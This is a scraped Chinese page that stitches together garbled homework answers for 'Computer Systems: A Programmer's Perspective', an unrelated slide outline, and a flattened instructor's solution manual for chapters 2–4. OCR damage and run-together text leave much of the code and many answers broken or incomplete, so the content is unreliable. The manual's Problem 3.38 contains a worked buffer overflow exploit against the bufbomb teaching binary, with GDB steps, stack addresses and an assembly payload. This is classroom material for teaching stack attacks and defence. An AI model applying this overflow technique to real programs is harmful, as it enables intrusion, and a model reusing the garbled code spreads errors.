深入理解计算机系统(第二版)家庭作业第二章深入理解计算机系统二进制2.55-2.57略2.58int is_little_endian (){int a = 1;return *(( char *)&a);}2.59(x&OxFF) | (y&〜OxFF)2.60unsigned replace_byte ( unsigned x, unsigned char b, int i){return (x & ~( OxFF <<(i<< 3))) | (b << (i<< 3));}2.61A. !~xB. !xC. !~(x»((sizeof(i nt)-1)<<3))D. !(x&OxFF)注意，英文版中C是最低字节，D是最高字节。

中文版恰好反过来了。

这里是按中文版来做的。

2.62这里我感觉应该是英文版对的，in t_shifts_are_arithmetic()int in t_shifts_are_arithmetic (){int x = - 1 ;retur n (x>> 1) == - 1;}2.63对于sra，主要的工作是将xrsl的第w-k-1 位扩展到前面的高位。

这个可以利用取反加1来实现，不过这里的加1是加1<<(w-k-1) 。

如果x 的第w-k-1 位为0，取反加1后，前面位全为 0,如果为1，取反加1后就全是1。

最后再使用相应的掩码得到结果。

对于srl ，注意工作就是将前面的高位清 0,即xsra & (1<<(w-k) - 1) 。

额外注意k==0时，不能使用 1<<(w-k)，于是改用 2<<(w-k-1) 。

int sra ( int x, int k){int xsrl = (un sig ned) x >> k; int w = sizeof ( int ) << 3; un sig ned z = 1 << (w-k-1);un sig ned mask = z - 1;un sig ned right = mask & xsrl;unsigned left = ~mask & (~(z&xsrl) + z); return left | right; }int srl (un sig ned x, int k){ int xsra = ( int)x >> k; int w = sizeof (int )* 8;return !!(x & ());} 2.65int eve n_ones (un sig ned x){ x 人=(x >> 16); x A= (x >> 8); x A= (x >> 4); x A= (x >> 2); x A= (x >>1); return !(x & 1);}x 的每个位进行异或，如果为 0就说明是偶数个1，如果为1就是奇数个1un sig ned z =return (z - } 2.64int an y_eve n_one2 << (w-k- 1);1) & xsra;(un sig ned x){那么可以想到折半缩小规模。

深入理解计算机系统ppt

08
总结与展望
计算机系统发展历程
起源与早期发展
计算机系统起源于20世纪40年代，最初用于军事和科学研究，随着技术的不断发展，计算机逐渐普及到各个领域。
个人计算机时代
随着微处理器和集成电路的出现，个人计算机逐渐普及，人们开始在家庭和办公场所使用计算机。
互联网与云计算
互联网的发展使得计算机系统更加互联互通，云计算技术的兴起使得计算资源可以动态地按需分配。
01
文件系统是用于组织和管理计算机上存储的数据的软件结构。
文件系统的作用
02
提供数据存储、检索和删除的能力，并确保数据的安全性和完
整性。
常见的文件系统类型
03
FAT32、NTFS、EXT4等。
文件存储与访问
文件存储方式
将数据以二进制形式存储在磁盘上，通过文件路径进行访问。
文件访问权限
根据用户权限设置，限制对文件的读取、写入和执行等操作。
编译过程
将源代码转换为机器语言，生成可执行文件。
执行方式
程序加载到内存中，由 CPU按照指令逐条执行。
运行环境
操作系统提供运行环境，管理硬件资源，支持多任务并发执行。
内存分类与管理
内存类型
RAM（随机访问存储器）、ROM（只读存储器）、 Flash（闪存）等。
内存管理
操作系统负责分配和回收内存空间，实现内存的动态分配和垃圾回收。
支。
本课程将介绍计算机系统的基本概念、通过学习本课程，学生将深入理解计算
原理和实现方法，包括计算机硬件结构、机系统的底层机制，掌握计算机系统的
操作系统、网络协议、算法和数据结构设计和优化方法，为进一步学习计算机

深入理解计算机系统答案（超高清电子版）

深⼊理解计算机系统答案（超⾼清电⼦版）Computer Systems:A Programmer’s Perspective Instructor’s Solution Manual1Randal E.BryantDavid R.O’HallaronDecember4,20032Chapter1Solutions to Homework ProblemsThe text uses two different kinds of exercises:Practice Problems.These are problems that are incorporated directly into the text,with explanatory solutions at the end of each chapter.Our intention is that students will work on these problems as they read the book.Each one highlights some particular concept.Homework Problems.These are found at the end of each chapter.They vary in complexity from simple drills to multi-week labs and are designed for instructors to give as assignments or to use as recitation examples.This document gives the solutions to the homework problems.1.1Chapter1:A Tour of Computer Systems1.2Chapter2:Representing and Manipulating InformationProblem2.40Solution:This exercise should be a straightforward variation on the existing code.2CHAPTER1.SOLUTIONS TO HOMEWORK PROBLEMS1011void show_double(double x)12{13show_bytes((byte_pointer)&x,sizeof(double));14}code/data/show-ans.c 1int is_little_endian(void)3/*MSB=0,LSB=1*/4int x=1;56/*Return MSB when big-endian,LSB when little-endian*/7return(int)(*(char*)&x);8}1.2.CHAPTER2:REPRESENTING AND MANIPULATING INFORMATION3 There are many solutions to this problem,but it is a little bit tricky to write one that works for any word size.Here is our solution:code/data/shift-ans.c The above code peforms a right shift of a word in which all bits are set to1.If the shift is arithmetic,the resulting word will still have all bits set to1.Problem2.45Solution:This problem illustrates some of the challenges of writing portable code.The fact that1<<32yields0on some32-bit machines and1on others is common source of bugs.A.The C standard does not de?ne the effect of a shift by32of a32-bit datum.On the SPARC(andmany other machines),the expression x</doc/dde1f034f111f18583d05a59.html pute beyond_msb as2<<31.C.We cannot shift by more than15bits at a time,but we can compose multiple shifts to get thedesired effect.Thus,we can compute set_msb as2<<15<<15,and beyond_msb as set_msb<<1.Problem2.46Solution:This problem highlights the difference between zero extension and sign extension.It also provides an excuse to show an interesting trick that compilers often use to use shifting to perform masking and sign extension.A.The function does not perform any sign extension.For example,if we attempt to extract byte0fromword0xFF,we will get255,rather than.B.The following code uses a well-known trick for using shifts to isolate a particular range of bits and toperform sign extension at the same time.First,we perform a left shift so that the most signi?cant bit of the desired byte is at bit position31.Then we right shift by24,moving the byte into the proper position and peforming sign extension at the same time. 4CHAPTER1.SOLUTIONS TO HOMEWORK PROBLEMS 3int left=word<<((3-bytenum)<<3);4return left>>24;5}Problem2.48Solution:This problem lets students rework the proof that complement plus increment performs negation.We make use of the property that two’s complement addition is associative,commutative,and has additive/doc/dde1f034f111f18583d05a59.html ing C notation,if we de?ne y to be x-1,then we have?y+1equal to-y,and hence?y equals -y+1.Substituting gives the expression-(x-1)+1,which equals-x.Problem2.49Solution:This problem requires a fairly deep understanding of two’s complement arithmetic.Some machines only provide one form of multiplication,and hence the trick shown in the code here is actually required to perform that actual form.As seen in Equation2.16we have.The?nal term has no effect on the-bit representation of,but the middle term represents acode/data/uhp-ans.c Problem2.50Solution:1.2.CHAPTER2:REPRESENTING AND MANIPULATING INFORMATION5A.:x+(x<<2)B.:x+(x<<3)C.:(x<<4)-(x<<1)D.:(x<<3)-(x<<6)Problem2.51Solution:Bit patterns similar to these arise in many applications.Many programmers provide them directly in hex-adecimal,but it would be better if they could express them in more abstract ways.A..((1<B..((1<Problem2.52Solution:Byte extraction and insertion code is useful in many contexts.Being able to write this sort of code is an important skill to foster.code/data/rbyte-ans.c Problem2.53Solution:These problems are fairly tricky.They require generating masks based on the shift amounts.Shift value k equal to0must be handled as a special case,since otherwise we would be generating the mask by performing a left shift by32.6CHAPTER1.SOLUTIONS TO HOMEWORK PROBLEMS 1unsigned srl(unsigned x,int k)2{3/*Perform shift arithmetically*/4unsigned xsra=(int)x>>k;5/*Make mask of low order32-k bits*/6unsigned mask=k?((1<<(32-k))-1):?0;78return xsra&mask;9}code/data/rshift-ans.c 1int sra(int x,int k)2{3/*Perform shift logically*/4int xsrl=(unsigned)x>>k;5/*Make mask of high order k bits*/6unsigned mask=k??((1<<(32-k))-1):0;78return(x<0)?mask|xsrl:xsrl;1.2.CHAPTER2:REPRESENTING AND MANIPULATING INFORMATION7B.(a)For,we have,,code/data/?oatge-ans.c 1int float_ge(float x,float y)2{3unsigned ux=f2u(x);4unsigned uy=f2u(y);5unsigned sx=ux>>31;6unsigned sy=uy>>31;78return9(ux<<1==0&&uy<<1==0)||/*Both are zero*/10(!sx&&sy)||/*x>=0,y<0*/11(!sx&&!sy&&ux>=uy)||/*x>=0,y>=0*/12(sx&&sy&&ux<=uy);/*x<0,y<0*/13},8CHAPTER1.SOLUTIONS TO HOMEWORK PROBLEMS This exercise is of practical value,since Intel-compatible processors perform all of their arithmetic in ex-tended precision.It is interesting to see how adding a few more bits to the exponent greatly increases the range of values that can be represented.Description Extended precisionValueSmallest denorm.Largest norm.Problem2.59Solution:We have found that working through?oating point representations for small word sizes is very instructive. Problems such as this one help make the description of IEEE?oating point more concrete.Description8000Smallest value4700Largest denormalized———1.3.CHAPTER3:MACHINE LEVEL REPRESENTATION OF C PROGRAMS91/*Compute2**x*/2float fpwr2(int x){4unsigned exp,sig;5unsigned u;67if(x<-149){8/*Too small.Return0.0*/9exp=0;10sig=0;11}else if(x<-126){12/*Denormalized result*/13exp=0;14sig=1<<(x+149);15}else if(x<128){16/*Normalized result.*/17exp=x+127;18sig=0;19}else{20/*Too big.Return+oo*/21exp=255;22sig=0;23}24u=exp<<23|sig;25return u2f(u);26}10CHAPTER1.SOLUTIONS TO HOMEWORK PROBLEMS int decode2(int x,int y,int z){int t1=y-z;int t2=x*t1;int t3=(t1<<31)>>31;int t4=t3?t2;return t4;}Problem3.32Solution:This code example demonstrates one of the pedagogical challenges of using a compiler to generate assembly code examples.Seemingly insigni?cant changes in the C code can yield very different results.Of course, students will have to contend with this property as work with machine-generated assembly code anyhow. They will need to be able to decipher many different code patterns.This problem encourages them to think in abstract terms about one such pattern.1movl8(%ebp),%edx x2movl12(%ebp),%ecx y3movl%edx,%eax4subl%ecx,%eax result=x-y5cmpl%ecx,%edx Compare x:y6jge.L3if>=goto done:7movl%ecx,%eax8subl%edx,%eax result=y-x9.L3:done:A.When,it will compute?rst and then.When it just computes.B.The code for then-statement gets executed unconditionally.It then jumps over the code for else-statement if the test is false.C.then-statementt=test-expr;if(t)goto done;else-statementdone:D.The code in then-statement must not have any side effects,other than to set variables that are also set1.3.CHAPTER3:MACHINE LEVEL REPRESENTATION OF C PROGRAMS11Problem3.33Solution:This problem requires students to reason about the code fragments that implement the different branches of a switch statement.For this code,it also requires understanding different forms of pointer dereferencing.A.In line29,register%edx is copied to register%eax as the return value.From this,we can infer that%edx holds result.B.The original C code for the function is as follows:1/*Enumerated type creates set of constants numbered0and upward*/2typedef enum{MODE_A,MODE_B,MODE_C,MODE_D,MODE_E}mode_t;34int switch3(int*p1,int*p2,mode_t action)5{6int result=0;7switch(action){8case MODE_A:12case MODE_B:13*p2+=*p1;14result=*p2;15break;16case MODE_C:17*p2=15;18result=*p1;19break;20case MODE_D:21*p2=*p1;22/*Fall Through*/23case MODE_E:24result=17;25break;26default:27result=-1;28}29return result;30}Problem3.34Solution:This problem gives students practice analyzing disassembled code.The switch statement contains all the features one can imagine—cases with multiple labels,holes in the range of possible case values,and cases that fall through.12CHAPTER1.SOLUTIONS TO HOMEWORK PROBLEMS 1int switch_prob(int x)2{3int result=x;45switch(x){6case50:7case52:8result<<=2;9break;10case53:11result>>=2;15/*Fall through*/16case55:17result*=result;18/*Fall through*/19default:20result+=10;21}2223return result;24}code/asm/varprod-ans.c 1int var_prod_ele_opt(var_matrix A,var_matrix B,int i,int k,int n) 2{3int*Aptr=&A[i*n];4int*Bptr=&B[k];5int result=0;6int cnt=n;78if(n<=0)9return result;1011do{12result+=(*Aptr)*(*Bptr);13Aptr+=1;14Bptr+=n;1.3.CHAPTER3:MACHINE LEVEL REPRESENTATION OF C PROGRAMS13 16}while(cnt); 1718return result;19}code/asm/structprob-ans.c 1typedef struct{2int idx;3int x[4];4}a_struct;14CHAPTER1.SOLUTIONS TO HOMEWORK PROBLEMS 1/*Read input line and write it back*/ 2/*Code will work for any buffer size.Bigger is more time-efficient*/ 3#define BUFSIZE644void good_echo()5{6char buf[BUFSIZE];7int i;8while(1){9if(!fgets(buf,BUFSIZE,stdin))10return;/*End of file or error*/11/*Print characters in buffer*/12for(i=0;buf[i]&&buf[i]!=’\n’;i++)13if(putchar(buf[i])==EOF)14return;/*Error*/15if(buf[i]==’\n’){16/*Reached terminating newline*/17putchar(’\n’);18return;19}20}21}An alternative implementation is to use getchar to read the characters one at a time.Problem3.38Solution:Successfully mounting a buffer over?ow attack requires understanding many aspects of machine-level pro-grams.It is quite intriguing that by supplying a string to one function,we can alter the behavior of another function that should always return a? xed value.In assigning this problem,you should also give students a stern lecture about ethical computing practices and dispell any notion that hacking into systems is a desirable or even acceptable thing to do.Our solution starts by disassembling bufbomb,giving the following code for getbuf: 1080484f4:280484f4:55push%ebp380484f5:89e5mov%esp,%ebp480484f7:83ec18sub$0x18,%esp580484fa:83c4f4add$0xfffffff4,%esp680484fd:8d45f4lea0xfffffff4(%ebp),%eax78048500:50push%eax88048501:e86a ff ff ff call804847098048506:b801000000mov$0x1,%eax10804850b:89ec mov%ebp,%esp11804850d:5d pop%ebp12804850e:c3retWe can see on line6that the address of buf is12bytes below the saved value of%ebp,which is4bytes1.3.CHAPTER3:MACHINE LEVEL REPRESENTATION OF C PROGRAMS15 of%ebp,and the address of the start of the buffer.To determine the relevant values,we run GDB as follows:1.First,we set a breakpoint in getbuf and run the program to that point:(gdb)break getbuf(gdb)runComparing the stopping point to the disassembly,we see that it has already set up the stack frame.2.We get the value of buf by computing a value relative to%ebp:(gdb)print/x(%ebp+12)This gives0xbfffefbc.3.We?nd the saved value of register%ebp by dereferencing the current value of this register:(gdb)print/x*$ebpThis gives0xbfffefe8.4.We?nd the value of the return pointer on the stack,at offset4relative to%ebp:(gdb)print/x*((int*)$ebp+1)This gives0x8048528We can now put this information together to generate assembly code for our attack:1pushl$0x8048528Put correct return pointer back on stack2movl$0xdeadbeef,%eax Alter return value3ret Re-execute return4.align4Round up to125.long0xbfffefe8Saved value of%ebp6.long0xbfffefbc Location of buf7.long0x00000000PaddingNote that we have used the.align statement to get the assembler to insert enough extra bytes to use up twelve bytes for the code.We added an extra4bytes of0s at the end,because in some cases OBJDUMP would not generate the complete byte pattern for the data.These extra bytes(plus the termininating null byte)will over?ow into the stack frame for test,but they will not affect the program behavior. Assembling this code and disassembling the object code gives us the following:10:6828850408push$0x804852825:b8ef be ad de mov$0xdeadbeef,%eax3a:c3ret4b:90nop Byte inserted for alignment.5c:e8ef ff bf bc call0xbcc00000Invalid disassembly.611:ef out%eax,(%dx)Trying to diassemble712:ff(bad)data16CHAPTER1.SOLUTIONS TO HOMEWORK PROBLEMS From this we can read off the byte sequence:Problem3.39Solution:This problem is a variant on the asm examples in the text.The code is actually fairly simple.It relies on the fact that asm outputs can be arbitrary lvalues,and hence we can use dest[0]and dest[1]directly in the output list.code/asm/asmprobs-ans.c Problem3.40Solution:For this example,students essentially have to write the entire function in assembly.There is no(apparent) way to interface between the?oating point registers and the C code using extended asm.code/asm/fscale.c1.4.CHAPTER4:PROCESSOR ARCHITECTURE17 1.4Chapter4:Processor ArchitectureProblem4.32Solution:This problem makes students carefully examine the tables showing the computation stages for the different instructions.The steps for iaddl are a hybrid of those for irmovl and OPl.StageFetchrA:rB M PCvalP PCExecuteR rB valEPC updateleaveicode:ifun M PCDecodevalB RvalE valBMemoryWrite backR valMPC valPProblem4.34Solution:The following HCL code includes implementations of both the iaddl instruction and the leave instruc-tions.The implementations are fairly straightforward given the computation steps listed in the solutions to problems4.32and4.33.You can test the solutions using the test code in the ptest subdirectory.Make sure you use command line argument‘-i.’。